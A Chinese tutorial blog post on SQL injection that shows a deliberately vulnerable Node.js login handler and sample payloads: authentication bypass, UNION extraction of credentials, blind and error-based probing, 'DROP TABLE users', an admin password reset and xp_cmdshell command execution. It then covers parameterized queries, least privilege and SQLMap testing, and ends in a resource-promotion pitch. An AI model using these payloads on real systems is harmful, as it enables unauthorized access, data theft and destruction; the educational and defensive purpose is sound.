想做黑客?先来学习 SQL 注入,一文学会

想做黑客?先来学习 SQL 注入,一文学会

SQL 注入(SQL Injection)是一种常见的网络攻击手段,攻击者通过在 Web 应用程序的输入字段中插入恶意 SQL 代码,欺骗后台数据库执行非授权的 SQL 语句。

SQL 注入可以用于获取、篡改或删除数据库中的数据,甚至可以用于执行系统命令,导致数据泄露、数据破坏或服务器被控制等严重后果。

img

1、SQL 注入的工作原理
  • 对用户输入验证不足:当 Web 应用程序没有正确验证用户输入时,攻击者可以在输入字段中插入 SQL 代码
  • 拼接 SQL 语句:应用程序后端通常将用户输入与 SQL 查询拼接在一起,形成完整的数据库查询语句。
  • 执行恶意 SQL:如果应用程序没有对输入进行适当的转义,恶意 SQL 代码将被数据库服务器执行。
  • 数据泄露或破坏:攻击者可以利用 SQL 注入来查询、修改或删除数据库中的数据,或者执行数据库管理系统的系统命令。

当用户登录网站时,通常会输入用户名和密码。

以下是一段正常的 SQL 查询代码:

SELECT * FROM users WHERE username = 'user1' AND password = 'password1';
如果攻击者输入:
用户名:admin' --
密码:anything


SQL 查询变成:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';


其中 是 SQL 的注释符号,忽略了密码条件,直接绕过了身份验证。

比如以下代码,就会出现被注入的情况:

const express = require('express');const mysql = require('mysql');
const app = express();app.use(express.json());
const connection = mysql.createConnection({    host: 'localhost',    user: 'root',    password: 'password',    database: 'testdb'});
app.post('/login', (req, res) => {    const { username, password } = req.body;
    // 不安全的 SQL 查询    const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
    connection.query(query, (error, results) => {        if (error) {            return res.status(500).send('Database error');        }        if (results.length > 0) {            res.send('Login successful');        } else {            res.send('Invalid username or password');        }    });});
app.listen(3000, () => {    console.log('Server running on http://localhost:3000');});


2、常见 SQL 注入
2.1、基础型 SQL 注入

直接将恶意 SQL 代码嵌入用户输入中,并影响查询逻辑。

输入用户名:admin' OR '1'='1
输入密码:anything


执行的 SQL 查询:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything';


结果:

OR ‘1’=‘1’ 总为 true,可以绕过验证。

2.2、UNION 查询注入

通过 UNION 将攻击者构造的查询结果与合法查询结果合并,从而获取敏感数据。

输入:

' UNION SELECT null, username, password FROM users --


执行的 SQL 查询:

SELECT id, name FROM products WHERE id = '' UNION SELECT null, username, password FROM users --';


结果:

将 users 表的 username 和 password 数据作为结果返回。

2.3、错误型 SQL 注入

通过故意触发数据库错误,利用错误信息推测表名、列名或数据。

输入:

' AND 1=CONVERT(int, (SELECT @@version)) --


执行的 SQL 查询:

SELECT * FROM users WHERE username = '' AND 1=CONVERT(int, (SELECT @@version)) --';


结果:

错误信息可能暴露数据库版本或其他信息。

2.4、盲注

无法直接获取查询结果,攻击者通过判断返回页面的响应(如布尔值或时间延迟)来逐步推测数据。

布尔型盲注,输入:

' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --


执行的 SQL 查询:

SELECT * FROM users WHERE username = '' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --';


结果:

根据返回结果判断数据库名首字母是否为 t。

时间盲注,输入:

' AND IF(1=1, SLEEP(5), 0) --


执行的 SQL 查询:

SELECT * FROM users WHERE username = '' AND IF(1=1, SLEEP(5), 0) --';


结果:

如果条件成立,服务器会延迟 5 秒响应,从而泄露信息。

2.5、堆叠查询注入

允许多条 SQL 语句同时执行。

输入:

'; DROP TABLE users; --


执行的 SQL 查询:

SELECT * FROM users WHERE username = ''; DROP TABLE users; --';


结果:

users 表被删除。

当然,也可以执行修改管理员密码的SQL命令:

SELECT * FROM users WHERE username = ''; UPDATE users set  password='123456' where user='admin'; --';


img

某些数据库(如 MySQL)默认不支持多语句执行。

2.6、存储过程注入

利用存储过程的输入参数注入恶意 SQL。

输入:

'; EXEC xp_cmdshell('dir'); --


执行的 SQL:

EXEC LoginProcedure 'username', ''; EXEC xp_cmdshell('dir'); --'


结果:

执行系统命令(如列出目录)。

2.7、Cookie 注入

利用修改浏览器存储的 Cookie 值进行注入。

Cookie: session_id=' OR '1'='1;


服务器在解析 Cookie 时执行了恶意 SQL。

3、防范措施

3.1、参数化查询和预编译语句

使用参数化查询或预编译语句,将用户输入与 SQL 语句分离,避免用户输入被直接解析为 SQL 代码。

Java 代码:

String sql = "SELECT * FROM users WHERE username = ? AND password = ?";PreparedStatement pstmt = connection.prepareStatement(sql);pstmt.setString(1, username);pstmt.setString(2, password);ResultSet rs = pstmt.executeQuery();


Node.js (MySQL 模块):

const query = "SELECT * FROM users WHERE username = ? AND password = ?";connection.query(query, [username, password], (err, results) => {    if (err) throw err;    // Handle results});


3.2、使用 ORM 框架

核心思路 ORM(如 Hibernate、Sequelize 等)通过自动生成 SQL 查询,大幅减少手动拼接 SQL 的机会,从而避免注入。

// 使用 Sequelizeconst user = await User.findOne({    where: { username: 'admin', password: 'password123' }});


3.3、输入验证

严格检查用户输入是否符合预期,拒绝不符合规则的输入。

对用户名、邮箱等使用正则表达式,数值类型字段只允许数字输入。

对特殊字符进行转义(如 " 转为 ")。

const username = req.body.username.replace(/[^a-zA-Z0-9]/g, ''); // 清理特殊字符


3.4、限制数据库权限

为数据库用户分配最小权限,只允许执行必要的操作。

  • **限制写入权限:**只允许插入、更新的用户操作对应的表,不允许 DROP、ALTER 等高危操作。
  • **分离读写权限:**使用只读账号访问数据库。

创建一个只读用户:

CREATE USER 'readonly_user'@'%' IDENTIFIED BY 'secure_password';
GRANT SELECT ON database_name.* TO 'readonly_user'@'%';


3.5、定期安全测试

通过安全扫描工具或手动测试,定期检查代码中的潜在 SQL 注入漏洞。

我们可以使用开源工具 SQLMap 来测试。

SQLMap 是一个专门用于自动化进行 SQL 注入检测和利用的渗透测试工具。

SQLMap 广泛应用于网络安全评估和渗透测试中,帮助发现和修复SQL注入漏洞。

SQL 官方地址:https://sqlmap.org/

SQLMap 开源地址:https://github.com/sqlmapproject/sqlmap

如果你是也准备转行学习网络安全(黑客)或者正在学习,这些我购买的资源可以分享给你们,互勉:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

在这里插入图片描述

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

img

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

在这里插入图片描述

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的网络安全学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

请添加图片描述

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值